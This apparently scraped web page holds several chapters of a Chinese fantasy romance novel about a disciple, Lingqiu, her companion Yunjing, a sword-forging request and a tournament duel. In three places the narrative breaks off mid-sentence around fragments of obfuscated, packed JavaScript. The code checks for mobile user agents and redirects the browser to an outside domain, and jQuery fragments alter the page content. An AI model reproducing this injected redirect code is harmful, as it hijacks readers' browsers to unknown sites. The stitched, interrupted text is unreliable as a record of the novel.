少女身后,整整齐齐码了三个木头箱子,每个里面都装满了金银珠玉,银宝的光辉照得整个灵剑门蓬荜生辉,叫人不敢逼视。 “逍遥派不是很穷吗?她怎么一下拿得出这么多钱!?” “这有什么奇怪,十世家之后又是天命血脉,如今争着巴结她的人不知几何,区区几箱银子算什么?” “师兄,咱们真的要给凌秋铸剑吗?”小弟子咽了口唾沫,“我听说她用剑很厉害呢,万一……万一我们打的剑不合她心意,那岂不是糟了!” “不必担心。”话音刚落,灵秋的目光突然对上来。 她从袖中掏出一只卷轴:“我早已将此剑的要求细细记下,诸位按照卷轴上写的铸剑就好。” 小弟子没想到灵秋能听到自己说话,一时间脸涨得通红,结结巴巴,进也不是,退也不是。 好在灵剑门长老及时上前解围,从灵秋手中接过卷轴。 “哈哈,凌姑娘不必担心,我们灵剑门钻研铸剑之道已有千年,此番定能让你……满呃……满……” 长老的话突然哽在喉咙里。 原因无他,只是那卷轴在他手中散开,沿着地板滚了出去,长长的布帛仿若没有尽头,自屋内摊开,骨碌碌绕了五六七八圈尤嫌不够,最后在众目睽睽下铺满了大半个屋子,这才罢休。 “这……这……” 长老指着满地布帛上密密麻麻的小字,眼睛瞪得滚圆。 灵秋微微一笑:“我盼这剑盼了许多年,每每想到便在这卷轴上随手勾画几笔,还请长老莫要见怪。” “……” 灵剑门长老无语凝噎,半晌,将卷轴塞回灵秋手里,背过身去,下了逐客令:“凌姑娘,这剑,我铸不了!” “为何?”灵秋不解,只将身后的银钱捧起来往他跟前凑凑,“我有的是钱,你看!” “这不是钱的问题。”长老望着地上的卷轴,长叹一声,“实在是姑娘你的要求太多,太细,老朽力之不及啊!” 经过昨夜,明眼人都看得出来,这凌秋与神尊是一路的。 他可不愿为此得罪这么一尊大佛。 与其横生枝节,还不如从一开始就不要趟这趟浑水。 灵剑门为太霄辰宫已经送走一位少主,实在经不起折腾了。 所以即便灵秋出价甚高,长老依旧闭起眼睛,不为所动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593556|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当着这么多人总不能拿刀出来横在人家脖子上,灵秋捧着金银,围着长老转了好几圈,终于认栽,垂头丧气地走出灵剑门。 当今世上擅长造剑唯有一个灵剑门,眼下灵剑门长老拒绝替她铸剑。 灵秋心头怅然,不甘心极了。干脆将三个大木头箱子砰砰往灵剑门院子外一甩,自个儿坐在上面,撑着脑袋皱眉发呆。 时值黄昏,照平时正是开火做饭的时候。 去江底秘境之前,每个日落时分,她打开逍遥派的院门,地上总是孤零零地放着一只食盒。一打开,桂花糕的香气扑面而来,腾腾地冒着热气。 黄昏是桂花味的。 如今却满是金银的铜臭。 一整天不见云靖的踪影,耳边连连不绝,尽是他人潜藏暗处,偷偷摸摸的议论与闲谈。 阳华境中数双眼睛盯着她看,走到哪里也不消停。 有时灵秋只恨自己修为太高,以至于连最微末的风声难放过。所有议论不缺不丢,听了满耳朵,左耳进,右耳出。 虽然从他人的只言片语中猜到云靖可能一样被带到云霄阁盘问,可他千不该万不该,不知会她半句。 耳后金印长久地沉寂着。 陡然间,灵秋似乎体会到当日江底她将同音咒用蛮力掐断时他的心情。 竟有几分苦涩。 只不过那时云靖不能,如今她却是拉不下脸来的不想。 灵秋从没主动用千里同音咒找过他。 在她看来,谁先主动就证明谁先示弱。对其他人可以,对云靖却不行。 或许因为在别人面前,她常常矫饰,在云靖面前却似乎很少刻意假装过什么。 或许身为魔族卧底,她也该有一片不加任何掩饰的自留地。 所以他当下的行为才显得更加无法原谅。 灵秋坐在木箱上,越想越气。突然间,一道清越的声音在耳边响起。 “你在做什么?” 她猛地抬头,却在看清来人的脸后骤然泄气。 失落一闪而过,灵秋迅速调整出微笑。即便如此,祁素商还是一眼看出她的惆怅,接着问道:“你来灵剑门,是想请人铸剑?” 作为灵剑门的少主,祁素商一看侧边装满金银的箱子,很快便猜测出她的意图。 “是啊。”灵秋扁扁嘴,“只不过好像我的要求太多太杂,灵剑门的人不肯收我的银子呢。” 她露出失望的表情,想到被拒绝,心头窝火极了。 没想到祁素商却粲然一笑,道:“把你的要求拿给我看一看,说不定我能帮上忙呢。” “真的?”灵秋眼中迸出光彩,连忙将怀中卷轴递给他。 就知道太霄辰宫的人有办法! 她兴奋道:“你要怎么帮我?是去命令他们照做吗?” 看祁素商的模样,似乎在太霄辰宫有些资历,像灵剑门这样以铸剑闻名的小门派,在太霄辰宫面前根本不值一提。 若祁素商代表太霄辰宫发话,他们的长老一定会听。 谁料祁素商只是笑着摇摇头:“我与灵剑门诸位长老有些交情罢了。” “噢。”灵秋又沉下气去。 她盯着祁素商,见他拿着卷轴看了好一会儿,微微皱眉,不禁试探道:“你看完了吗?能帮我吗?” “可以。” 祁素商的眉舒展开,片刻,将卷轴一收。 “真的!?” 灵秋高兴极了,立刻道:“我们现在就去找那个什么长老!” 突然之间,她觉得头顶一热,竟是祁素商毫无预兆地伸手抚了抚她的脑袋。 与此同时,耳后,沉寂了整整一天的金印突然开始发热发烫,温度急剧升高,就像有人忽然蘸了一点滚烫粘稠的蜜水,点在她的皮肤上。 灵秋眼睛眨呀眨,睫毛微颤,像停了一只扑翅的蝴蝶,身子却一动不动,任由祁素商动作。 44.飘摇仙会圣子重迎(2) “原来你是灵剑门少主啊。”两人从灵剑门中走出,灵秋恍然大悟。 难怪那几位长老一见祁素商立即两眼放光,毕恭毕敬的。 祁素商听她这么说,顿了一顿,失笑道:“原来你不记得我的身份。” 我应该记得吗? 灵秋觉得奇怪,随口敷衍道:“我也是今日才知道。” 她走出院子,先往四周环顾一圈。 沉甸甸的夕阳光辉洒满视线,通红的晚霞从树梢掠过,浮现出一派沉静。 周围空落落的,耳后的金印却比黄昏还要滚烫。 祁素商在耳边说着铸剑的事,灵秋心不在焉地听着,意乱心烦。 她算是看明白了。 云靖最爱这种似是而非的把戏,最讨厌。 总得想个办法逼他现身。 “凌姑娘?” 祁素商见灵秋跑神,忍不住伸手在她眼前晃了晃。没想到灵秋转头露出笑容,一把握住了他的手:“多谢祁师兄。铸剑的事交给你,我没有什么不放心的,咱们不如就此别过,改日再见?” 吵得很。 她打定主意先将祁素商打发走。 本以为热切些便能哄得祁素商好说话,却不料她一握住他的手,眼前这个人高马大的青年脸色一变,整个人傻愣在夕阳里,不说话却也不动了,活像一根木头桩子。 这回轮到灵秋伸手在他眼前晃了晃。 然而她刚伸出手,还没晃几下,手腕却忽然被人轻轻扣住。 下一瞬,云靖伸手将她往后一带,自己挡在她面前。 祁素商一顿,惊讶地看着面前这位突然闯出的不速之客,迅速将这张脸与昨夜对应起来。 原来是凌秋的仆人。 他以为对方护主心切,产生了误会,方要开口解释,却听眼前少年冷声道:“银霜楼云靖,见过这位师兄。” 云靖? 银霜楼少楼主!? 祁素商投来一道惊讶的目光,刚接触到灵秋,却被她身前的少年闪身一遮,拦截回去。 祁素商不解道:“阁下是银霜楼少主,身份尊贵。怎会心甘情愿跟随在凌姑娘身侧,做她的仆从?” “所谓仆从,不过是我二人之间玩笑罢了。”云靖脸上看不出什么情绪。 他说这话时余光扫过灵秋,只见她低头用脚拨弄着地上夕阳穿过草木投下的光影,看不出神情,也就没能发现身前少年紧绷的唇线和背影。 云靖安安静静地站着,礼貌得体,完全是在认真解释,声音稳当,甚至还带着点若有若无的笑。 祁素商敏锐察觉出其中隐藏的淡淡挑衅,垂眸一笑:“不知云公子与凌姑娘是什么关系?” 不是很明显吗?自然是主仆关系。 灵秋只觉祁素商多此一问,没了耐心,刚想开口,却被云靖抢先。 他的语气不轻不慢:“我佩剑凝霜,秋娘佩刀召雪,我们是什么关系,祁师兄还要继续问吗?” 祁素商的笑容僵在脸上。 灵剑门与刀剑武器打交道,怎么可能不知道凝霜召雪的典故? 这两把名器之间的联系,旁人或许不甚了解,祁素商却是正儿八经的心知肚明。 云靖自然清楚这一点。 他饶有兴致地看着祁素商的反应,生平第一次庆幸自己还未来得及和灵秋细讲这一刀一剑的渊源。 祁素商眼神一滞,错愕地看着云靖,如被人狠狠扇了一记耳光,嘴唇微张着,半晌吐不出一个字来。 好一会儿,他抿了抿唇,后退一步:“是我打扰了。” 他说完这句话,天边夕阳刚好落下,天色暗了一分。 祁素商转身离开,背影无声,连步伐都有些虚浮。 灵秋盯着他看了一瞬,偏头向云靖,迟疑道:“……你打他了?” 她低头,发觉自己的手还被身边人拽着,轻轻挣脱出来。 云靖挑了下眉,一脸正经:“我哪里打他了?” “可他脸色如此难看,走路都有点不稳了……” “那是他自己心虚。”云靖说得理直气壮,强调:“他做贼心虚。” “就因为你跟他提了一嘴召雪和凝霜?”灵秋皱眉。 “或许他在心里自个儿研究吧。”云靖眨了眨眼,语气无辜,“毕竟凝霜和召雪也算名器了。” “早知道灵剑门的人痴迷铸剑,没想到连听到他人佩剑都能有这么大的反应。” 灵秋点点头:“这样一来,我就更放心了。” 她说完这句话,云靖的脸色陡然沉下来。 “你找他替你铸剑,为什么?” “好啊,我就知道你一直偷听我们讲话!”灵秋眯眼看他,做出兴师问罪的姿态,摸了摸耳朵后面发烫的金印,命令道:“今日你必须得把这千里同音咒给我解了。” “我不。”云靖道:“除非你先告诉我,为什么要让祁素商重新铸剑。” 他盯住她,唇线紧绷,眼睛里有一场山雨欲来,一字一顿道:“难道,有了召雪刀还不够吗?” “这剑是替我师姐打的。”灵秋看着他,眼露嫌弃,“剑这种东西,只要我想,随时都能有,何必特意请人打造?” “你师姐?”云靖眨眨眼睛,“你当日在江底向薛成昭索要金银也是为了——” “拿钱替我师姐铸剑。”灵秋歪头看他,“我说完了,现在快给我解咒。” 云靖只道:“不行。” “为什么?你明明答应了我的。” 若非眼下她在众人眼中身受重伤,早就自己想办法解了这咒,何须求着云靖办事? 灵秋皱眉拦在他身前。 云靖的视线在她身上打转,落到毛茸茸的头顶,伸手用力揉了揉她的脑袋,连发髻都揉得有些散了。 这一下猝不及防,灵秋闪身避开他,眉宇间怒气横生,正欲发作,耳后金印却骤然解了。 她摸了摸耳际。 好吧好吧,算他识相。 天色昏昏欲黑,灵秋捂着散下来的发髻,对云靖命令道:“现在你送我回去。” “……” “你怎么不说话?”她走出几步,见他没跟上来,转身不解。 “我不是你的仆人。”半晌,云靖突然开口,“你不能把我当成仆人。” “什么?” 灵秋怀疑自己没听清。 她彻底没了耐心,往回快走几步,谁料刚站定,云靖抬眸定定看过来,递出一只小瓷瓶。 隔着轻纱般的夜色,灵秋看见他睫毛颤了颤,一副要说不说的模样,眼底竟有几分委屈,一点点红意在眼角晕开,泪珠挂在眼里,却死撑着不掉下来。 “什、什么东西?” 灵秋猝不及防,酝酿好的气势先莫名其妙丢掉三分。 “我爹给我的,太上忘情丹。”云靖眨了下眼,一瞬间像有什么酸涩的情绪浮上来,又很快被他强咽下去,看上去却更难过了。 灵秋下意识后退一步:“然后呢?” 她根本不知道太上忘情丹是个什么东西。 “我爹知道了我们的关系,把我骂了一通。还说,还说要是我再这么下去,就把我关起来,永远不许我再做桂花糕。”云靖低头看她,眼神湿漉漉的,像小心翼翼地控诉。 不许再做桂花糕?怎么能这样! 灵秋皱眉。 她最喜欢云靖做的桂花糕了,这可不行! 云靖道:“所以,从今以后,我不能再做你的仆人了。” “那……你还给我做桂花糕吗?”灵秋现在最关心这个。 云靖点头。 “那你还送我回逍遥派吗?” 云靖点点头。 “那你之后还听我的话吗?” 云靖继续点头。 灵秋拨了一下散下来的头发:“我发髻散了。” “我替你重新梳发。” “那你不还是我的仆人吗?”灵秋眯眼凑近他。 “……不一样。”云靖不自然地偏过头,刻意避开她的眼神,夜色掩映下,脸烧得发烫。 “有什么……”灵秋看着他的表情,突然顿了一顿,眉眼弯弯,改口道:“好吧好吧,不一样。你说了算。” 她自顾自往前走了两步,突然回头看他:“其实今日我有些生气。” “为什么?”云靖隔着朦胧的夜色看她。 “因为你不乖。” 晚风轻轻吹着,少女的声音融化在初升的月色里,带着几分嗔责的意味。 云靖心弦一颤。 “对不起。”他乖乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就连每日黄昏来取桂花糕的人也从一开始的她自己换成了兰翘。 云靖每每向兰翘打探灵秋的情况,谁料对方一听,立即连连后退,讳莫如深,硬是半分消息也不肯透露。 久而久之,阳华境中讨论灵秋的人便少了些。 又过了一段日子,被传唤盘问的人纷纷回了本门。 对魔族的搜寻一无所获,人心惶惶之际,神尊宣布阳华仙会照常进行。 此番选出七人入太霄辰宫,可谓史无前例。 因着这一变动,包括云海川、薛成昭、游观青在内的几人均得到了进入内门的机会。 消息公布之日,众修士惊讶不已,质疑声不绝于耳。这种情况一直持续到各门长老当场试炼,挑选弟子的那天。 天作异象,令在场众人惊掉了下巴。 神尊徐悟共有弟子八位,其中声明最盛、修为最高的莫过于大弟子——霜华剑君徐鉴真。 这位剑君佩剑琅琊,名动一时,十七岁持剑出山,不到二十便列位南方剑道之首,三年三百战,未尝一败。 二十一岁获封仙门圣子,人言其剑如月,清光不染尘埃,所至之处,霜华无声,草木皆静,杀人如同剪花修木,真真犹如谪仙降世。 然而这样风光霁月的人,却天妒英才,于五百年前英年早逝,神魂尽碎,下场可谓惨烈。 徐鉴真死后只留下一柄琅琊剑,深嵌入峭壁剑冢数百年,成为众多修士心中高悬的明月,心意难平。 曾有流言圣子转世,甚嚣尘上。每一年阳华仙会最后,优胜者都有一次拔剑的机会,传说只有圣子转世才能拔出琅琊,奈何五百年间,无数人尝试,无一人成功。 众人早没了期待,却不料琅琊声如清泉击石、昆山玉碎,一声幽响自云端坠下,似春风过耳,叫人心神一震。 云靖手握剑柄,轻盈落地,剑身映出天光,寒芒一寸寸盛开,仿若白霜自虚空升起,天地霎时静寂。 天色大变,风云止息,一时间,四周窃窃私语的修士纷纷闭上了嘴,惊讶地看着场中少年。 45.飘摇仙会圣子重迎(3) “你听说了吗?……圣子转世!” 几个别派的弟子匆匆走过,只留下只言片语。 晴日的光辉簌簌落了满身,天色尚早,灵秋从小院中出来,往阳华境深处走去,并未将那几人的私语放在心上。 她的注意力被更明显的变化所吸引。 一路走来,青石板路两侧,一向繁茂的枝桠上不知何时挂满了铃铛,密密麻麻,像某种仪式的布置。 风一吹,满树绛红色的飘带飞扬似蝶,铃铛却像被施法定住般不动不响,静谧得有些古怪。 灵秋随手拉住一位过路的弟子询问,那人答道:“姑娘有所不知,这太霄辰宫没能抓到当日作恶的魔族,为防万一,下令在这境中各处悬满伏魔铃铛,只要察觉到魔族气息,金铃震动,便能及时发出警告。” 言罢,不等灵秋多问一句,那弟子便朝她草草一点头,抬起脚步匆忙朝前走去。 伏魔铃铛? 这东西她曾在那本厚厚的《伏魔经》中见过,灵敏异常,百里之内,哪怕极微弱的魔气也能轻易被捕捉。 然而当下,灵秋伸手贴近,满树金铃自巍然不动,平静出奇。 说来讽刺,四年前她强行突破体内魔气封印吞噬戮空后,重铸封印的法子全来自这本被仙门中人奉为圣典的《伏魔经》。 她于修行一道上颇有天赋,不过是看过一遍,便能在危急关头将封印的死咒倒背如流,一次成功。 同时身负仙门与魔族两条血脉,用仙术压制魔气犹如左右手互搏,这也成为她元气大伤的根本原因之一。 好在按《伏魔经》所说,这道封印一下,除非施术之人身死魂消,否则绝无可能令丝毫魔气逃窜逸出。 灵秋轻抚过面前毫无反应的金铃,不动声色地勾了勾唇。 身侧不时有人往来,络绎不绝地朝着同个方向去。按太霄辰宫派人送来的消息,这批入选内门的修士中她是最后一个参与入门选拔的。 不是今日,是明日。 既如此,灵秋便没了探究的心思,自顾自从境中拎出一只酒壶。 晨光如水,淡淡洒在屋檐青瓦上。她提着酒壶,一路往人少的方向去,绣鞋踩在石板路上,发出噼啪的脆响,酒壶里的液体随步伐晃荡,遗落一路浓郁的酒香。 灿烂的阳光穿透薄雾落在肩上,灵秋走到空旷无人处,挑了一棵老槐树,枝繁叶茂,枝桠横伸得低低的,正好能躺。酒壶拿在手里,随她一跃便轻巧地落了上去。 早上喝酒着实不像话。可这段日子门派上下管她实在太严,今日是好不容易才从师父那里偷出这壶酒来。 杀人放火全身而退,合该痛饮一番才是。 枝干粗实,如苍龙横卧,春日初暖,阳光透过如盖的绿叶在脸上打出斑驳的碎光,灵秋仰面躺着,酒壶斜拿在手轻轻晃动,任风吹乱鬓发。 晨雾未散,阳华境内远山如黛,耳边枝叶沙沙作响,她不看不闻,只仰头饮酒,动作闲惬从容。 酒出乎意料的烈,入口似火,灵秋眉头不动,只当自己太久未饮,又是一口灌下。 日头正盛,她斜倚在繁枝茂叶间,轻闭着眼。酒气氤氲,酒壶挂在指尖,摇摇欲坠。 整个世界静谧得仿若与世隔绝,突然之间,树梢风动,山间忽起一声剑鸣,清脆破空,如冷电横劈,斩碎一树清梦。 灵秋睫毛轻轻一颤,未动。 片刻之后,又是一声杀招,剑气破风,连身侧枝叶都被带得颤动。头顶,一滴露水从叶间坠落,落在她眉梢,滑入鬓发。 这一下,灵秋终于睁开眼睛。 她缓缓坐起,随手一捞,懒洋洋地将酒壶送到唇边,喝了一口,才伸手拨开下垂的枝叶,低头往下看。 远处擂台上,约莫五位白衣仙士正在合力围攻一少年。 剑光交错,带起落叶与尘土。那少年气息浮动,招法已乱,却死咬着不退,手执长剑,剑气凛然如霜,是她从未见过的一柄好剑。 还真是人不如剑。 灵秋朝那方扫一眼,眉梢一动,抱了看好戏的心思,正想喝一口酒,却不知为何,目光落在被那五人团团围住的少年身上,忽然顿住了。 此人身形狼狈,左肩衣襟染血,却仍一剑挡下五人攻击,脚步不退,那一招剑术快中带狠,纵身一跃似银钩铁划,像极了—— 她眸色一变,一瞬犹豫间,一柄利剑已绕至少年身后,自侧方朝他后背袭去。 灵秋没来得及思索,手一抬,半满的酒壶已从密叶丛中飞出! 擂台边,兰翘站在江芙身侧,正紧张地抓住她的衣裙,不安道:“师姐到哪里去了?” “是啊,怎么没见阿秋?她不是早早就出门了吗?”身后,霍羽也忍不住朝周围张望。 江芙安抚地揉了揉兰翘的脑袋:“大约是在哪处躲清闲吧,这种热闹,她是一贯不爱凑的。” 事实上,出于稳妥考虑,她刻意没将这些日子里阳华境发生的大事告诉灵秋。 然而江芙话音未落,只听得场中一阵爆裂声响,紧跟着,浓郁的酒香灌入众人鼻腔。 酒壶本是粗陶所制,却被灵秋内力灌注,破空而出,直似流星。铛然一声,碎片与清澈的酒液四散飞溅,生生撞开那一剑。 云靖猛地回头,只见少女踏云而来,衣袍猎猎,落地无声,眉眼可称冷寂。 灵秋看了眼云靖手中的琅琊剑,轻嗤一声:“什么破剑,还真是吵得很。” 她一脚踢开碎陶,对台上仙士微微一笑:“既然我已经被你们吵醒了,择日不如撞日。” 话音未落,人已掠上前去,身法快似飞燕,朝那五人攻去。 众仙士见她连剑也未拿,嗤笑一声:“那便先送你下台!” 剑光如瀑,气势汹汹,然而还未近身,只见灵秋右臂一抬,衣袂飞扬,只一掌,便带动疾风似箭,轰然一声响震,将离她最近的仙士生生逼退三步。 台下有人惊呼:“无形之剑!好强的剑意!” 她步伐轻灵,身形极快,正欲向那修士胸口攻去,未料风向突转,白衣仙尊手执长剑,负手上台,身形轻盈,却自有一股压迫之力随之逼近。 灵秋猛地收手,只见那仙尊微微一笑,正是多日前判她与游观青比符的那场主司。 而台下—— 灵秋定睛一看,那一灰一蓝两道身影也赫然在列。 接触到她的目光,那蓝袍修士露出挑衅一笑,随即刷刷两声,两位仙士均飞跃上台来。 某种不详的预感席卷全身,灵秋对那白衣仙尊道:“前辈这是做什么?” “自然是与你比一场!”仙尊未答,蓝袍修士抢着说。 “哪有仙尊亲自上场的道理?”灵秋皱眉。 “哪有以符代剑的道理?”蓝袍修士接上她的话,“规矩是死的,人是活的。怎么,只许你聂姑娘临场发挥,轮到我们就不行了吗?” 灵秋半眯起眼:“师兄的意思是你们八个人打我一个咯?” “两个。”白衣仙尊的目光在她与云靖之间来回打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633025|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转,终于开口。 “我今日抛砖引玉,使你们二人合力一战。只管用出全力,任在座诸位长老观摩挑选。”她转头,看向高位之上的徐悟,狡黠一笑,“师叔以为如何?” “……阿姮!怎可如此胡闹!?” 徐悟没说话,倒是他左侧坐着的长老一脸肃色,率先开口。 只是话音刚落,徐悟便点头道:“准。” “谢师叔,谢师尊!” 白衣仙尊朝上方笑着行了一礼,转身看向灵秋和云靖:“怎么样?今日也让我太霄辰宫弟子见识一番这新任正道魁首与圣子转世究竟实力几何?” 圣子转世? 灵秋转头看一眼云靖,只见他恭敬地向白衣仙尊抱首应声,分明还是从前的模样。 “什么圣子转世?” 灵秋还想细问,一旁蓝袍仙士的眼神却落到她空空如也的手上,随即笑道:“你真的不用剑吗?” 言罢,他又像突然想到什么般,沉吟道:“也对,你是逍遥派的人,连玉牌都用不起,自然也没什么好剑可用。” 蓝袍仙士朝灵秋一扬首:“聂姑娘若无剑可用,我可将手中这把剑暂且借你!” 连玉牌都用不起? 灵秋一听这话,猛地转头看向台下,不费吹灰之力便锁定了人群中间看热闹不嫌事大的薛成昭。 后者一对上她的目光,只觉背后一凉,忙挪动小碎步半躲进旁边姑娘身后。 定睛一瞧,却是游观青。 观青朝她作出口型:“凌……聂姑娘加油!” 灵秋垂眸,快速眨了两下,忽而抬头,轻笑一声,眉梢张扬,眸中锋光乍现:“剑这种东西,只要我想随时都能有,不过今日,我不想用剑。” 寒光凛凛,召雪刀出现在手心。 她侧头看一眼蓝袍修士,眼中不屑分明:“不妨与师兄一较刀法!”言罢,不管云靖,径直举刀飞扑向面前人。 刀光裹挟着罡风,如狂潮扑面! 刀剑相接,发出清脆刺耳的利响。灵秋一退,云靖当即迎上。剑势凌厉,一寸不让,光影似雪,却非琅琊,而是凝霜。 灰袍仙士横剑一挡,蹙眉道:“临时换剑?圣子琅琊岂是空山道人胡乱狂作可比!” “能不能比,你试试不就知道了!”灵秋身形一转,脚下微点,穿梭在剑光缝隙间,动作迅疾,几乎只剩残影。 八人成阵,云靖以凝霜破局,灵秋紧跟着驱使召雪挨个痛击,半柱香的间隙,除却修为最为高强的白衣仙尊外,余下几人均被击得连连后退。 然而只因本场为选拔比试,不得伤人根本,更不得害人性命,于是乎不到片刻,被击退的仙士们又卷土重来。 灵秋挨个打下去,一面还要躲开白衣仙尊的长剑,正在心中犹豫,只见一直死守在自己身侧的云靖侧脸擦过一道剑光,险些划破肌肤。 她眉紧皱起,抬头一看,剑锋那头正是那蓝袍仙士。 长剑旋舞,剑气斩裂气浪。云靖身上有血珠不断洒落,身侧少女却连衣角都为沾染分毫殷红。 灵秋盯着面前几位仙士,眸光未动,只低声道:“挡得住吗?” 身侧少年提剑劈开数寸锋芒,咬牙道:“一向是挡得住的。” “那就好。”灵秋轻轻一笑,伸手入袖,语气轻缓,指尖已拈出数根银针,寒光微闪,透如蝉翼,如晨露初凝,似银似墨。 她飞身跃起,指尖一弹,如春风破雨,转眼间,七人手中长剑接二连三,咣当坠地。 46.飘摇仙会圣子重迎(4) 就在银针飞射出去的刹那,数道剑光直冲灵秋而来,寒光乍现间,几欲封喉。 她一点脚尖,斜掠出去,仿若惊鸿跃水,毫厘之间,避开剑招。 数道剑气紧贴她衣角划过,灵秋回身一瞥,只见众仙士纷纷捂住胸口,连连后退。 她狡黠一笑,骤然失察,一道凌厉的剑影却在此时自后背闪射而至! 那一剑疾若雷霆,角度狠辣,饶是绝世高手也无闪避之机。 耳边风声乍起,危机之际,场下众人只听得一声脆响。 寒芒四溅,云靖挥剑横斩,将这绝杀一击稳稳拦下! 劲气激荡,震得他肩头微颤。凝霜剑身雷鸣作响,这一击,如一山压顶,未触及人,阵阵绵力已率先近身,在浑厚内力的加持下,势不可挡。 云靖往后连退几步,脚下碎石震动,翻飞作响,激射四方。 灵秋猛一回头,转眸望去,只见他正背对自己,长剑横于身前,脸侧被锋利的剑气划出一道血痕,殷红的血正顺着脸颊蜿蜒而下,浸红了半边衣领。 身前是风暴与杀机,身后是平静与安宁。 灵秋站在原地,尘沙止步,青丝沉寂。冲她而来的一击,用尽全力,最终却连她的一寸裙角也没能碰到。 远处,灰袍仙士身形一倾,深受反噬,喷出一口鲜血。 云靖站在风中,凝霜尚未收回,对脸上的伤毫无知觉,只是微偏过头,用手背随意一抹,像嫌那道伤口碍事。 只是下一瞬,他的目光骤然与灵秋相撞,整个人忽然怔在原地。 受伤的是脸。 灵秋眼神直直地落在他脸上,神色肉眼可见地一点点冷下来。 云靖抬手摸了把侧脸——伤口算不上短,更算不上浅。 霎时间,他心底一阵发虚,慌忙移开视线,嘴角一抽,心头暗骂:“完了。” 他本还想着,小秋风华绝代、天资高明,来日如苏韫珩和祁素商一般觊觎她的人定然不在少数,这些人又是回忆往昔,又是大献殷勤,好在他已经早早摸索出她的性子。 同她相处最好过分一些,却不能太过火。最好像猫爪轻挠,时不时刺她一下,再用他的脸,用眼泪来安抚,如此才能叫她欲说还休、欲罢不能。 人人都想做白月光,他却偏要做抹不掉的朱砂痣。 灵秋是吃这一套的。 她喜欢他的脸。 可这下倒好,一剑划花半张脸,他成了破相的货色,日后又该如何在她面前立足! 云靖紧咬后槽牙,一时不敢再看她,只顾一剑劈了眼前那该死的肃杀之气去。 他紧抿双唇,拼命装作不在意,以免自己当众失态,这幅神情落到灵秋眼中却成了赤裸裸心怀委屈。 她的目光冷冷射向出剑的灰袍仙士,手中寒意渐起。 “找死。” 话音未落,身影已动。召雪刀一击斩碎波澜翻滚的空气,凌厉的刀光眨眼间便贴身逼向灰袍仙士,直取对方命脉。 这一招乍看之去毫无留情之意,那灰袍仙士身中银针,再无反抗之力,最后关头下意识闭上了眼睛。 在场众人皆不可置信、反应不及。一道法咒急速飞来,却没能击中灵秋手中的刀。 召雪骤停在离法咒约莫三寸远的地方,白衣仙尊衣袂飞扬,却是结结实实松了一口气。 周围仙士见此情景,纷纷想要强撑身体,捡起掉在地上的剑,却只感到体内刺痛阵阵,气血滞涩,虚弱难以承受。 “你做了什么!?”蓝袍仙士捂着胸口,冲灵秋道。 “还请诸位师兄莫要轻举妄动。”她从袖中掏出银针,扬起一个狡黠又轻松的笑。 细针在天光下闪烁出刺眼的光芒,蓝袍仙士反应过来,大声道:“这是什么东西?莫不是暗器!” “此乃银魄流霜针,可暂时封住师兄们的灵脉,只要你们不强行运功,片刻之后自然无虞。” “你居然敢公然使用暗器?这可是太霄辰宫的试炼!” 灵秋道:“我也不想的,可谁让诸位仙尊下令不许伤了诸位师兄。你们七个人打了又来,来了又打,根本就是无穷无尽,一点也不合理。” “方才所有人都看见了,我二人实力分明在这七位师兄之上,再打下去也只是空耗,浪费大家的时间。既然不能伤人,为在场诸位考虑,我也只好出此下策了。” “你……你这是强词夺理!”好歹是前辈,蓝袍仙士被当众下面子,很是不满,呛声道:“我们一向都是这样的!” “那是因为之前师兄没有遇到像我这么厉害的师妹啊。”灵秋粲然一笑,像是漫不经心地随口一答。 蓝袍仙士蓦地怔愣一下,不说话了。 她转身向白衣仙尊,乖巧地行了一礼:“二打一,小辈冒犯了。” 宽袖流苏如垂星散下,遮住她握针的手。灵秋脸上分明温和含笑,掌心青筋却微微绷起,指节紧扣,那根银针便在阴影中一下一下,轻轻颤抖。 她在忍耐。 经文上说,杀念一动便似断堤之流,奔袭千里,覆水难收。 她又动过多少次杀戮之心呢? 高台上传来一道浑厚的男声:“好个不走寻常路的小辈,可有胆量与本尊较量一番!” 风声阵阵,裹挟碎叶,男人翩然落地。 “二对二。”酒气后知后觉地冲上脑袋,灵秋有些发晕,转身望向云靖,“你愿意吗?” “好。”云靖快步行至她身侧,坚定应声。 “有胆量。”男人摆开阵势,霎时,天地风云变幻。 “他有些厉害。”灵秋小声道。 “我会保护你。”云靖紧紧握住手中之剑。 他声音低低的,说得认真,灵秋只顾用力晃了晃晕乎乎脑袋。 下一瞬,场中爆发出巨大的冲力。 数道剑光飞舞宛若游龙,台上人招式极快,众人几乎辨不清身形。 这男人的剑招怪诞狠辣,如滕缠绕,不经意间便能搅乱人的身形。 剑气破开一条裂缝,灵秋快退几步,侧首一看,左臂衣袖已浸出一道刺目的红痕。 眼前虚影重重,她拼命晃了晃脑袋,强迫自己集中精神。 凝霜与召雪合力痛击,锵然震响间,银光冷冽。数十招后,两位仙尊剑势渐缓,在场众人却都看得出,此战上下之势已然分明。 猝然间,两柄剑锋齐齐抵住咽喉,一刀一剑起势骤停。 